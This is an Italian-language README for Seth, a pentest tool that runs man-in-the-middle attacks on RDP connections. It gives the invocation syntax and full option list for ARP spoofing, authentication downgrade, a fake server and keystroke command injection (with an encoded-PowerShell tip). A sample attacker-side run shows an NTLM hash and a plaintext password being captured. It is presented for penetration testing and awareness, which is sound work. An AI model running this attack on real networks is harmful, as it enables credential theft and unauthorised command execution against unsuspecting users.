
Esegui un attacco MitM ed estrai le credenziali in chiaro dalle connessioni RDP
Seth è uno strumento scritto in Python e Bash per eseguire MitM su connessioni RDP tentando di declassare la connessione al fine di estrarre le credenziali in chiaro. È stato sviluppato per aumentare la consapevolezza e informare sull'importanza di connessioni RDP configurate correttamente nel contesto di penetration test, workshop o conferenze. L'autore è Adrian Vollmer (SySS GmbH).
Eseguilo così:
$ ./seth.sh <INTERFACCIA> <IP ATTACCANTE> <IP VITTIMA> <IP GATEWAY|IP HOST> [<COMANDO>]
A meno che l'host RDP non sia sulla stessa sottorete della macchina vittima, l'ultimo indirizzo IP deve essere quello del gateway.
L'ultimo parametro è opzionale. Può contenere un comando eseguito sull'host RDP simulando WIN+R tramite iniezione di eventi di pressione dei tasti. L'iniezione dei tasti dipende dal layout di tastiera utilizzato dalla vittima - attualmente è affidabile solo con il layout inglese US. Suggerisco di evitare caratteri speciali utilizzando powershell -enc <STRINGA>, dove STRINGA è il tuo comando codificato in UTF-16le e Base64. Tuttavia, calc dovrebbe essere abbastanza universale e fa il suo dovere.
Lo script shell esegue ARP spoofing per ottenere una posizione Man-in-the-Middle e reindirizza il traffico in modo che passi attraverso un proxy RDP. Il proxy può essere chiamato separatamente. Ciò può essere utile se vuoi usare Seth in combinazione con Responder. Usa Responder per ottenere una posizione Man-in-the-Middle ed esegui Seth contemporaneamente. Esegui seth.py -h per maggiori informazioni:
usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}]
[-j INJECT] -c CERTFILE -k KEYFILE
target_host [target_port]
RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017
positional arguments:
target_host host di destinazione del servizio RDP
target_port porta TCP del servizio RDP di destinazione (default 3389)
optional arguments:
-h, --help mostra questo messaggio di aiuto ed esci
-d, --debug mostra informazioni di debug
-f, --fake-server esegui un attacco 'falso server'
-p LISTEN_PORT, --listen-port LISTEN_PORT
porta TCP su cui ascoltare (default 3389)
-b BIND_IP, --bind-ip BIND_IP
indirizzo IP a cui associare il servizio falso (default tutti)
-g {0,1,3,11}, --downgrade {0,1,3,11}
declassa il protocollo di autenticazione a questo (default
3)
-j INJECT, --inject INJECT
comando da eseguire tramite iniezione di eventi di pressione dei tasti
-c CERTFILE, --certfile CERTFILE
percorso del file del certificato
-k KEYFILE, --keyfile KEYFILE
percorso del file della chiave
Per ulteriori informazioni, leggi il PDF in doc/paper (o leggi il codice!). Il documento contiene anche raccomandazioni per le contromisure.
Puoi anche guardare una presentazione di venti minuti che include una demo (a partire da 14:00) su Youtube: https://www.youtube.com/watch?v=wdPkY7gykf4
Oppure guarda solo la demo (con sottotitoli) qui: https://www.youtube.com/watch?v=JvvxTNrKV-s
L'output seguente mostra la visuale dell'attaccante. Seth intercetta un hash craccabile offline oltre alla password in chiaro. Qui, NLA non è applicato e la vittima ha ignorato l'avviso del certificato.

# ./seth.sh eth1 192.168.57.{103,2,102}
███████╗███████╗████████╗██╗ ██╗
██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer
███████╗█████╗ ██║ ███████║ [email protected]
╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017
███████║███████╗ ██║ ██║ ██║ https://www.syss.de
╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 192.168.57.102
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 192.168.57.103:50431
Downgrading authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, Downgrading CredSSP
Connection lost
Connection received from 192.168.57.103:50409
Listening for new connection
Enable SSL
Connection lost
Connection received from 192.168.57.103:50410
Listening for new connection
Enable SSL
Hiding forged protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (English_United_States)
Key press: LShift
Key press: S
Key release: S
Key release: LShift
Key press: E
Key release: E
Key press: C
Key release: C
Key press: R
Key release: R
Key press: E
Key release: E
Key press: T
Key release: T
Connection lost
[*] Cleaning up...
[*] Done.
python3
tcpdump
arpspoof
arpspoof fa parte di dsniff
openssl
Utilizzalo a tuo rischio e pericolo. Non usarlo senza il pieno consenso di tutti i coinvolti. Solo per scopi educativi.